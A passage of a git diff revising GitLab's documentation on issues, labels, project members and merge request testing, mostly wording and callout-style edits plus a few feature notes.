[labels](../labels.md) and [issue boards](../issue_board.md), see the video on [Managing Commitments with Issues](https://www.youtube.com/watch?v=cuIHNintg1o&t=3). @@ -93,7 +93,7 @@ must be set. While you can view and manage the full details of an issue on the [issue page](#issue-page), you can also work with multiple issues at a time using the [Issues List](#issues-list), -[Issue Boards](#issue-boards), Issue references, and [Epics](#epics)**(PREMIUM)**. +[Issue Boards](#issue-boards), Issue references, and [Epics](#epics). **(PREMIUM)** Key actions for issues include: @@ -191,6 +191,7 @@ requires [GraphQL](../../../api/graphql/index.md) to be enabled. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36427) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. > - Health status of closed issues [can't be edited](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4 and later. > - Issue health status visible in issue lists [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45141) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.6. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/213567) in GitLab 13.7. To help you track the status of your issues, you can assign a status to each issue to flag work that's progressing as planned or needs attention to keep on schedule: @@ -207,16 +208,6 @@ until the issue is reopened. You can then see issue statuses in the [issue list](#issues-list) and the [Epic tree](../../group/epics/index.md#issue-health-status-in-epic-tree). -#### Disable issue health status - -This feature comes with the `:save_issuable_health_status` feature flag enabled by default. However, in some cases -this feature is incompatible with old configuration. To turn off the feature while configuration is -migrated, ask a GitLab administrator with Rails console access to run the following command: - -```ruby -Feature.disable(:save_issuable_health_status) -``` - ## Other Issue actions - [Create an issue from a template](../../project/description_templates.md#using-the-templates) diff --git a/doc/user/project/issues/issue_data_and_actions.md b/doc/user/project/issues/issue_data_and_actions.md index a5f60fbd515..2520a562f1e 100644 --- a/doc/user/project/issues/issue_data_and_actions.md +++ b/doc/user/project/issues/issue_data_and_actions.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Issue Data and Actions @@ -10,14 +10,16 @@ Please read through the [GitLab Issue Documentation](index.md) for an overview o ## Parts of an Issue -The image below illustrates what an issue may look like. Note that certain parts will -look slightly different or will be absent, depending on the version of GitLab being used -and the permissions of the user viewing the issue. +The image below illustrates what an issue may look like. Certain parts +look slightly different or are absent, depending on the GitLab version +and the user's permissions. -You can find all the information for that issue on one screen. +You can find all of an issue's information on one page.  +The numbers in the image correspond to the following features: + - **1.** [Issue actions](#issue-actions) - **2.** [To Do](#to-do) - **3.** [Assignee](#assignee) @@ -47,10 +49,6 @@ You can find all the information for that issue on one screen. - **25.** [Submit comment, start a thread, or comment and close](#submit-comment-start-a-thread-or-comment-and-close) - **26.** [Zoom meetings](#zoom-meetings) -An issue starts with its status (open or closed), followed by its author, -and includes many other functionalities, numbered in the image above to -explain what they mean, one by one. - Many of the elements of the issue screen refresh automatically, such as the title and description, when they are changed by another user. Comments and system notes also update automatically in response to various actions and content updates. @@ -89,17 +87,17 @@ An issue can be assigned to: - Another person. - [Many people](#multiple-assignees). **(STARTER)** -The assignee(s) can be changed as often as needed. The idea is that the assignees are +The assignees can be changed as often as needed. The idea is that the assignees are responsible for that issue until it's reassigned to someone else to take it from there. -When assigned to someone, it will appear in their assigned issues list. +When assigned to someone, it appears in their assigned issues list. -TIP: **Tip:** +NOTE: If a user is not member of that project, it can only be assigned to them if they created the issue themselves. #### Multiple Assignees **(STARTER)** -Often multiple people work on the same issue together, which can be especially difficult +Often, multiple people work on the same issue together. This can be difficult to track in large teams where there is shared ownership of an issue. In [GitLab Starter](https://about.gitlab.com/pricing/), you can @@ -116,10 +114,10 @@ Select a [milestone](../milestones/index.md) to attribute that issue to. ### Time tracking -Use [GitLab Quick Actions](../quick_actions.md) to [track estimates and time spent on issues](../time_tracking.md). -You can add an [estimate of the time it will take](../time_tracking.md#estimates) -to resolve the issue, and also add [the time spent](../time_tracking.md#time-spent) -on the resolution of the issue. +Use [GitLab Quick Actions](../quick_actions.md) to [track estimates and time +spent on issues](../time_tracking.md). You can add a [time estimate](../time_tracking.md#estimates) +for resolving the issue, and also add [the time spent](../time_tracking.md#time-spent) +to resolve the issue. ### Due date @@ -132,13 +130,12 @@ element. Due dates can be changed as many times as needed. Categorize issues by giving them [labels](../labels.md). They help to organize workflows, and they enable you to work with the [GitLab Issue Board](index.md#issue-boards). -Group Labels, which allow you to use the same labels for all projects within the same -group, can be also given to issues. They work exactly the same, but they are immediately +Group Labels, which allow you to use the same labels for all projects in the same +group, can also be given to issues. They work exactly the same, but are immediately available to all projects in the group. -TIP: **Tip:** -If a label doesn't exist yet, you can click **Edit**, and it opens a dropdown menu -from which you can select **Create new label**. +If a label doesn't exist yet, you can create one by clicking **Edit** +followed by **Create new label** in the dropdown menu. ### Weight **(STARTER)** @@ -148,9 +145,8 @@ positive values or zero are allowed. ### Confidentiality -You can [set an issue to be confidential](confidential_issues.md). When set, unauthorized -users will not be able to access the issue, and will not see it listed in project -issue boards or the issue list. +You can [set an issue to be confidential](confidential_issues.md). Unauthorized users +cannot access the issue, and it is not listed in the project's issue boards nor list for them. ### Lock issue @@ -165,7 +161,7 @@ or were mentioned in the description or threads. ### Notifications Click on the icon to enable/disable [notifications](../../profile/notifications.md#issue--epics--merge-request-events) -for the issue. This will automatically enable if you participate in the issue in any way. +for the issue. Notifications are automatically enabled after you participate in the issue in any way. - **Enable**: If you are not a participant in the discussion on that issue, but want to receive notifications on each update, subscribe to it. @@ -180,9 +176,9 @@ for the issue. This will automatically enable if you participate in the issue in ### Edit -Clicking this icon opens the issue for editing, and you will have access to all the -same fields as when the issue was created. This icon will not display if the user -does not have permission to edit the issue. +Clicking this icon opens the issue for editing. All the fields which +were shown when the issue was created are displayed for editing. +This icon is only displayed if the user has permission to edit the issue. ### Description @@ -190,22 +186,20 @@ The plain text title and description of the issue fill the top center of the iss The description fully supports [GitLab Flavored Markdown](../../markdown.md#gitlab-flavored-markdown-gfm), allowing many formatting options. -> [In GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/10103) and later, changes to an issue's description are listed in the [issue history](#issue-history).**(STARTER)** +> [In GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/10103) and later, changes to an issue's description are listed in the [issue history](#issue-history). **(STARTER)** ### Mentions You can mention a user or a group present in your GitLab instance with `@username` or -`@groupname` and they will be notified via to-dos and email, unless they have disabled -all notifications in their profile settings. This is controlled in the -[notification settings](../../profile/notifications.md). +`@groupname`. All mentioned users are notified via to-do items and emails, +unless they have disabled all notifications in their profile settings. +This is controlled in the [notification settings](../../profile/notifications.md). -Mentions for yourself (the current logged in user), will be highlighted in a different -color, allowing you to easily see which comments involve you, helping you focus on -them quickly. +Mentions for yourself (the current logged in user) are highlighted +in a different color, which allows you to quickly see which comments involve you. -TIP: **Tip:** Avoid mentioning `@all` in issues and merge requests, as it sends an email notification -to all the members of that project's group, which can be interpreted as spam. +to all the members of that project's group. This might be interpreted as spam. ### Related Issues @@ -217,18 +211,18 @@ You can also click the `+` to add more related issues. Merge requests that were mentioned in that issue's description or in the issue thread are listed as [related merge requests](crosslinking_issues.md#from-merge-requests) here. Also, if the current issue was mentioned as related in another merge request, that -merge request will be listed here. +merge request is also listed here. ### Award emoji -You can award an emoji to that issue. There are shortcuts to "thumbs_up" and "thumbs_down", -or you can click on the light gray "face" to choose a different reaction from the -dropdown list of available [GitLab Flavored Markdown Emoji](../../markdown.md#emoji). +You can award emojis to issues. You can select the "thumbs up" and "thumbs down", +or the gray "smiley-face" to choose from the list of available +[GitLab Flavored Markdown Emoji](../../markdown.md#emoji). -TIP: **Tip:** +NOTE: Posting "+1" as a comment in a thread spams all subscribed participants of that issue, clutters the threads, and is not recommended. Awarding an emoji is a way -to let them know your reaction without spamming them. +to let them know your reaction without notifying them. ### Show all activity @@ -241,21 +235,20 @@ and selecting either: Also: - You can mention a user or a group present in your GitLab instance with - `@username` or `@groupname` and they will be notified via to-do items - and email, unless they have [disabled all notifications](#notifications) + `@username` or `@groupname` and they are notified via to-do items + and emails, unless they have [disabled all notifications](#notifications) in their profile settings. -- Mentions for yourself (the current logged in user), will be highlighted - in a different color, allowing you to easily see which comments involve you, - helping you focus on them quickly. +- Mentions for yourself (the current logged-in user) are highlighted + in a different color, which allows you to quickly see which comments involve you.  ### Create Merge Request Create a new branch and [**Draft** merge request](../merge_requests/work_in_progress_merge_requests.md) -in one action. The branch will be named `issuenumber-title` by default, but you can -choose any name, and GitLab will verify that it is not already in use. The merge request -will automatically inherit the milestone and labels of the issue, and will be set to +in one action. The branch is named `issuenumber-title` by default, but you can +choose any name, and GitLab verifies that it is not already in use. The merge request +inherits the milestone and labels of the issue, and is set to automatically close the issue when it is merged.  @@ -288,11 +281,11 @@ supports [GitLab Flavored Markdown](../../markdown.md#gitlab-flavored-markdown-g ### Submit comment, start a thread, or comment and close -Once you write a comment, you can: +After you write a comment, you can: -- Click **Comment** and your comment will be published. +- Click **Comment** and to publish your comment. - Choose **Start thread** from the dropdown list and start a new [thread](../../discussions/index.md#threaded-discussions) - within that issue's main thread to discuss specific points. This invites other participants + in that issue's main thread to discuss specific points. This invites other participants to reply directly to your thread, keeping related comments grouped together.  diff --git a/doc/user/project/issues/issue_weight.md b/doc/user/project/issues/issue_weight.md index 23c1520294d..4e2c8bfd7f1 100644 --- a/doc/user/project/issues/issue_weight.md +++ b/doc/user/project/issues/issue_weight.md @@ -2,7 +2,7 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/issue_weight.html' stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Issue weight **(STARTER)** @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w When you have a lot of issues, it can be hard to get an overview. By adding a weight to each issue, you can get a better idea of how much time, -value or complexity a given issue has or will cost. +value or complexity a given issue has or costs. You can set the weight of an issue during its creation, by simply changing the value in the dropdown menu. You can set it to a non-negative integer @@ -20,7 +20,7 @@ upper bound is essentially limitless). You can remove weight from an issue as well. -This value will appear on the right sidebar of an individual issue, as well as +This value appears on the right sidebar of an individual issue, as well as in the issues page next to a distinctive balance scale icon. As an added bonus, you can see the total sum of all issues on the milestone page. diff --git a/doc/user/project/issues/managing_issues.md b/doc/user/project/issues/managing_issues.md index 62b388ec137..03060ca720c 100644 --- a/doc/user/project/issues/managing_issues.md +++ b/doc/user/project/issues/managing_issues.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Managing issues @@ -99,7 +99,7 @@ When you click this link, an email address is generated and displayed, which sho by **you only**, to create issues in this project. You can save this address as a contact in your email client for easy access. -CAUTION: **Caution:** +WARNING: This is a private email address, generated just for you. **Keep it to yourself**, as anyone who knows it can create issues or merge requests as if they were you. If the address is compromised, or you'd like it to be regenerated for @@ -112,7 +112,7 @@ this project, where: - The email body becomes the issue description. - [Markdown](../../markdown.md) and [quick actions](../quick_actions.md) are supported. -NOTE: **Note:** +NOTE: In GitLab 11.7, we updated the format of the generated email address. However the older format is still supported, allowing existing aliases or contacts to continue working. @@ -160,7 +160,7 @@ The "Move issue" button is at the bottom of the right-sidebar when viewing the i If you have advanced technical skills you can also bulk move all the issues from one project to another in the rails console. The below script will move all the issues from one project to another that are not in status **closed**. To access rails console run `sudo gitlab-rails console` on the GitLab server and run the below -script. Please be sure to change **project**, **admin_user** and **target_project** to your values. +script. Please be sure to change `project`, `admin_user`, and `target_project` to your values. We do also recommend [creating a backup](../../../raketasks/backup_restore.md#back-up-gitlab) before attempting any changes in the console. @@ -193,7 +193,7 @@ from its list and dropping it into the **Closed** list. ### Closing issues automatically -NOTE: **Note:** +NOTE: For performance reasons, automatic issue closing is disabled for the very first push from an existing repository. @@ -234,7 +234,7 @@ This translates to the following keywords: - Resolve, Resolves, Resolved, Resolving, resolve, resolves, resolved, resolving - Implement, Implements, Implemented, Implementing, implement, implements, implemented, implementing -Note that `%{issue_ref}` is a complex regular expression defined inside GitLab's +Note that `%{issue_ref}` is a complex regular expression defined inside the GitLab source code that can match references to: - A local issue (`#123`). diff --git a/doc/user/project/issues/moving_issues.md b/doc/user/project/issues/moving_issues.md index 8331f865b83..3b40affcdc3 100644 --- a/doc/user/project/issues/moving_issues.md +++ b/doc/user/project/issues/moving_issues.md @@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#moving-issues' --- This document was moved to [another location](managing_issues.md#moving-issues). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/multiple_assignees_for_issues.md b/doc/user/project/issues/multiple_assignees_for_issues.md index b1806460c08..bb9038062f7 100644 --- a/doc/user/project/issues/multiple_assignees_for_issues.md +++ b/doc/user/project/issues/multiple_assignees_for_issues.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Multiple Assignees for Issues **(STARTER)** diff --git a/doc/user/project/issues/related_issues.md b/doc/user/project/issues/related_issues.md index b040bcf3b03..82b2d4fde52 100644 --- a/doc/user/project/issues/related_issues.md +++ b/doc/user/project/issues/related_issues.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Related issues **(CORE)** @@ -23,7 +23,7 @@ The relationship only shows up in the UI if the user can see both issues. When you try to close an issue that has open blockers, a warning is displayed. -TIP: **Tip:** +NOTE: To manage related issues through our API, visit the [issue links API documentation](../../../api/issue_links.md). ## Adding a related issue diff --git a/doc/user/project/issues/similar_issues.md b/doc/user/project/issues/similar_issues.md index 9cbac53ee41..79a50d5f812 100644 --- a/doc/user/project/issues/similar_issues.md +++ b/doc/user/project/issues/similar_issues.md @@ -3,3 +3,6 @@ redirect_to: 'index.md#similar-issues' --- This document was moved to [another location](index.md#similar-issues). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/sorting_issue_lists.md b/doc/user/project/issues/sorting_issue_lists.md index 8a8359a4b02..b4cb1c383ba 100644 --- a/doc/user/project/issues/sorting_issue_lists.md +++ b/doc/user/project/issues/sorting_issue_lists.md @@ -1,13 +1,24 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Sorting and ordering issue lists +# Sorting and ordering issue lists **(CORE)** -You can sort a list of issues several ways, including by issue creation date, milestone due date, -etc. The available sorting options can change based on the context of the list. +You can sort a list of issues several ways, including by: + +- Blocking +- Created date +- Due date +- Label priority +- Last updated +- Milestone due date +- Popularity +- Priority +- Weight + +The available sorting options can change based on the context of the list. For sorting by issue priority, see [Label Priority](../labels.md#label-priority). In group and project issue lists, it is also possible to order issues manually, @@ -18,19 +29,25 @@ similar to [issue boards](../issue_board.md#how-gitlab-orders-issues-in-a-list). > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62178) in GitLab 12.2. When you select **Manual** sorting, you can change -the order by dragging and dropping the issues. The changed order will persist. Everyone who visits the same list will see the reordered list, with some exceptions. +the order by dragging and dropping the issues. The changed order persists, and +everyone who visits the same list sees the updated issue order, with some exceptions. Each issue is assigned a relative order value, representing its relative -order with respect to the other issues in the list. When you drag-and-drop reorder -an issue, its relative order value changes accordingly. +order with respect to the other issues on the list. When you drag-and-drop reorder +an issue, its relative order value changes. -In addition, any time that issue appears in a manually sorted list, -the updated relative order value will be used for the ordering. This means that -if issue `A` is drag-and-drop reordered to be above issue `B` by any user in -a given list inside your GitLab instance, any time those two issues are subsequently -loaded in any list in the same instance (could be a different project issue list or a -different group issue list, for example), that ordering will be maintained. +In addition, any time an issue appears in a manually sorted list, +the updated relative order value is used for the ordering. +So, if anyone drags issue `A` above issue `B` in your GitLab instance, +this ordering is maintained whenever they appear together in any list. This ordering also affects [issue boards](../issue_board.md#how-gitlab-orders-issues-in-a-list). Changing the order in an issue list changes the ordering in an issue board, and vice versa. + +## Sorting by blocking issues + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34247/) in GitLab 13.7. + +When you select to sort by **Blocking**, the issue list changes to sort descending by the +number of issues each issue is blocking. You can use this to determine the critical path for your backlog. diff --git a/doc/user/project/labels.md b/doc/user/project/labels.md index c237f46b23a..2f8603e1db0 100644 --- a/doc/user/project/labels.md +++ b/doc/user/project/labels.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Labels @@ -90,7 +90,7 @@ Once created, you can edit a label by clicking the pencil (**{pencil}**), or del a label by clicking the three dots (**{ellipsis_v}**) next to the **Subscribe** button and selecting **Delete**. -CAUTION: **Caution:** +WARNING: If you delete a label, it is permanently deleted. All references to the label are removed from the system and you cannot undo the deletion. #### Promote a project label to a group label @@ -109,7 +109,7 @@ with the old labels are assigned to the new group label. The new group label has the same ID as the previous project label. -CAUTION: **Caution:** +WARNING: Promoting a label is a permanent action, and cannot be reversed. To promote a project label to a group label: diff --git a/doc/user/project/maven_packages.md b/doc/user/project/maven_packages.md index 4679eed5433..5bfa08de2ed 100644 --- a/doc/user/project/maven_packages.md +++ b/doc/user/project/maven_packages.md @@ -3,3 +3,6 @@ redirect_to: '../packages/maven_repository/index.md' --- This document was moved to [another location](../packages/maven_repository/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/members/img/other_group_sees_shared_project.png b/doc/user/project/members/img/other_group_sees_shared_project.png Binary files differdeleted file mode 100644 index e4c93a13abb..00000000000 --- a/doc/user/project/members/img/other_group_sees_shared_project.png +++ /dev/null diff --git a/doc/user/project/members/img/other_group_sees_shared_project_v13_6.png b/doc/user/project/members/img/other_group_sees_shared_project_v13_6.png Binary files differnew file mode 100644 index 00000000000..e6e3f8f043b --- /dev/null +++ b/doc/user/project/members/img/other_group_sees_shared_project_v13_6.png diff --git a/doc/user/project/members/img/share_project_with_groups.png b/doc/user/project/members/img/share_project_with_groups.png Binary files differdeleted file mode 100644 index 0907438cb84..00000000000 --- a/doc/user/project/members/img/share_project_with_groups.png +++ /dev/null diff --git a/doc/user/project/members/img/share_project_with_groups_tab.png b/doc/user/project/members/img/share_project_with_groups_tab.png Binary files differdeleted file mode 100644 index fc489aae003..00000000000 --- a/doc/user/project/members/img/share_project_with_groups_tab.png +++ /dev/null diff --git a/doc/user/project/members/img/share_project_with_groups_tab_v13_6.png b/doc/user/project/members/img/share_project_with_groups_tab_v13_6.png Binary files differnew file mode 100644 index 00000000000..7d83659ef7a --- /dev/null +++ b/doc/user/project/members/img/share_project_with_groups_tab_v13_6.png diff --git a/doc/user/project/members/img/share_project_with_groups_v13_6.png b/doc/user/project/members/img/share_project_with_groups_v13_6.png Binary files differnew file mode 100644 index 00000000000..121e77671a3 --- /dev/null +++ b/doc/user/project/members/img/share_project_with_groups_v13_6.png diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md index c66103604ed..85cb139c45b 100644 --- a/doc/user/project/members/index.md +++ b/doc/user/project/members/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Members of a project @@ -53,7 +53,7 @@ that you'd like to give the user. Note that you can select more than one user.  -Once done, hit **Add users to project** and they will be immediately added to +Once done, select **Add users to project** and they are immediately added to your project with the permissions you gave them above.  @@ -71,7 +71,7 @@ In the dropdown menu, you can see only the projects you are Maintainer on.  Select the one you want and hit **Import project members**. A flash message -notifying you that the import was successful will appear, and the new members +displays, notifying you that the import was successful, and the new members are now in the project's members list. Notice that the permissions that they had on the project you imported from are retained. @@ -96,10 +96,13 @@ invitation, change their access level, or even delete them.  -Once the user accepts the invitation, they will be prompted to create a new +While unaccepted, the system automatically sends reminder emails on the second, fifth, +and tenth day after the invitation was initially sent. + +After the user accepts the invitation, they are prompted to create a new GitLab account using the same e-mail address the invitation was sent to. -Note: **Note:** +NOTE: Unaccepted invites are automatically deleted after 90 days. ## Project membership and requesting access @@ -123,7 +126,7 @@ After access is requested: Email is sent to the most recently active project maintainers. - Any project maintainer can approve or decline the request on the members page. -NOTE: **Note:** +NOTE: If a project does not have any maintainers, the notification is sent to the most recently active owners of the project's group. diff --git a/doc/user/project/members/share_project_with_groups.md b/doc/user/project/members/share_project_with_groups.md index 395f4353f47..edfe8ae3b5b 100644 --- a/doc/user/project/members/share_project_with_groups.md +++ b/doc/user/project/members/share_project_with_groups.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Share Projects with other Groups @@ -24,35 +24,36 @@ This is where the group sharing feature can be of use. To share 'Project Acme' with the 'Engineering' group: -1. For 'Project Acme' use the left navigation menu to go to **Members** +1. For 'Project Acme' use the left navigation menu to go to **Members**. -  +  -1. Select the 'Share with group' tab -1. Add the 'Engineering' group with the maximum access level of your choice -1. Click **Share** to share it +1. Select the **Invite group** tab. +1. Add the 'Engineering' group with the maximum access level of your choice. +1. Optionally, select an expiring date. +1. Click **Invite**. -  +  -1. After sharing 'Project Acme' with 'Engineering', the project will be listed +1. After sharing 'Project Acme' with 'Engineering', the project is listed on the group dashboard -  +  Note that you can only share a project with: - groups for which you have an explicitly defined membership - groups that contain a nested subgroup or project for which you have an explicitly defined role -Admins are able to share projects with any group in the system. +Administrators are able to share projects with any group in the system. ## Maximum access level -In the example above, the maximum access level of 'Developer' for members from 'Engineering' means that users with higher access levels in 'Engineering' ('Maintainer' or 'Owner') will only have 'Developer' access to 'Project Acme'. +In the example above, the maximum access level of 'Developer' for members from 'Engineering' means that users with higher access levels in 'Engineering' ('Maintainer' or 'Owner') only have 'Developer' access to 'Project Acme'. ## Sharing public project with private group -When sharing a public project with a private group, owners and maintainers of the project will see the name of the group in the `members` page. Owners will also have the possibility to see members of the private group they don't have access to when mentioning them in the issue or merge request. +When sharing a public project with a private group, owners and maintainers of the project see the name of the group in the `members` page. Owners also have the possibility to see members of the private group they don't have access to when mentioning them in the issue or merge request. ## Share project with group lock diff --git a/doc/user/project/merge_requests.md b/doc/user/project/merge_requests.md index 1d7ebc856c3..5762177882e 100644 --- a/doc/user/project/merge_requests.md +++ b/doc/user/project/merge_requests.md @@ -3,3 +3,6 @@ redirect_to: 'merge_requests/index.md' --- This document was moved to [merge_requests/index.md](merge_requests/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/accessibility_testing.md b/doc/user/project/merge_requests/accessibility_testing.md index a07a155745e..c518113d3dd 100644 --- a/doc/user/project/merge_requests/accessibility_testing.md +++ b/doc/user/project/merge_requests/accessibility_testing.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -62,14 +62,14 @@ The report for each URL is saved as an artifact that can be [viewed directly in A single `gl-accessibility.json` artifact is created and saved along with the individual HTML reports. It includes report data for all URLs scanned. -NOTE: **Note:** +NOTE: For GitLab 12.10 and earlier, the [artifact generated is named `accessibility.json`](https://gitlab.com/gitlab-org/ci-cd/accessibility/-/merge_requests/9). -NOTE: **Note:** +NOTE: For GitLab versions earlier than 12.9, you can use `include:remote` and use a link to the [current template in `master`](https://gitlab.com/gitlab-org/gitlab/-/raw/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml) -NOTE: **Note:** +NOTE: The job definition provided by the template does not support Kubernetes yet. It is not yet possible to pass configurations into Pa11y via CI configuration. To change anything, diff --git a/doc/user/project/merge_requests/allow_collaboration.md b/doc/user/project/merge_requests/allow_collaboration.md index 4ba0b50a3cf..8eabef982c8 100644 --- a/doc/user/project/merge_requests/allow_collaboration.md +++ b/doc/user/project/merge_requests/allow_collaboration.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- diff --git a/doc/user/project/merge_requests/authorization_for_merge_requests.md b/doc/user/project/merge_requests/authorization_for_merge_requests.md index 26b3682990e..7bb64987a31 100644 --- a/doc/user/project/merge_requests/authorization_for_merge_requests.md +++ b/doc/user/project/merge_requests/authorization_for_merge_requests.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts --- diff --git a/doc/user/project/merge_requests/browser_performance_testing.md b/doc/user/project/merge_requests/browser_performance_testing.md index 040ca4b439b..04114968c80 100644 --- a/doc/user/project/merge_requests/browser_performance_testing.md +++ b/doc/user/project/merge_requests/browser_performance_testing.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -44,11 +44,11 @@ between the source and target branches, and shows the information in the merge r For an example Performance job, see [Configuring Browser Performance Testing](#configuring-browser-performance-testing). -NOTE: **Note:** +NOTE: If the Browser Performance report has no data to compare, such as when you add the Browser Performance job in your `.gitlab-ci.yml` for the very first time, -the Browser Performance report widget won't show. It must have run at least -once on the target branch (`master`, for example), before it will display in a +the Browser Performance report widget doesn't show. It must have run at least +once on the target branch (`master`, for example), before it displays in a merge request targeting that branch.  @@ -72,7 +72,7 @@ using Docker-in-Docker. URL: https://example.com ``` -NOTE: **Note:** +NOTE: For versions before 12.4, see the information for [older GitLab versions](#gitlab-versions-123-and-older). If you are using a Kubernetes cluster, use [`template: Jobs/Browser-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml) instead. @@ -81,7 +81,7 @@ The above example creates a `performance` job in your CI/CD pipeline and runs sitespeed.io against the webpage you defined in `URL` to gather key metrics. The example uses a CI/CD template that is included in all GitLab installations since -12.4, but it will not work with Kubernetes clusters. If you are using GitLab 12.3 +12.4, but it doesn't work with Kubernetes clusters. If you are using GitLab 12.3 or older, you must [add the configuration manually](#gitlab-versions-123-and-older) The template uses the [GitLab plugin for sitespeed.io](https://gitlab.com/gitlab-org/gl-performance), @@ -115,7 +115,7 @@ performance: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27599) in GitLab 13.0. You can configure the sensitivity of degradation alerts to avoid getting alerts for minor drops in metrics. -This is done by setting the `DEGRADATION_THRESHOLD` variable. In the example below, the alert will only show up +This is done by setting the `DEGRADATION_THRESHOLD` variable. In the example below, the alert only shows up if the `Total Score` metric degrades by 5 points or more: ```yaml @@ -181,7 +181,7 @@ performance: ### GitLab versions 12.3 and older Browser Performance Testing has gone through several changes since it's introduction. -In this section we'll detail these changes and how you can run the test based on your +In this section we detail these changes and how you can run the test based on your GitLab version: - In GitLab 12.4 [a job template was made available](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml). diff 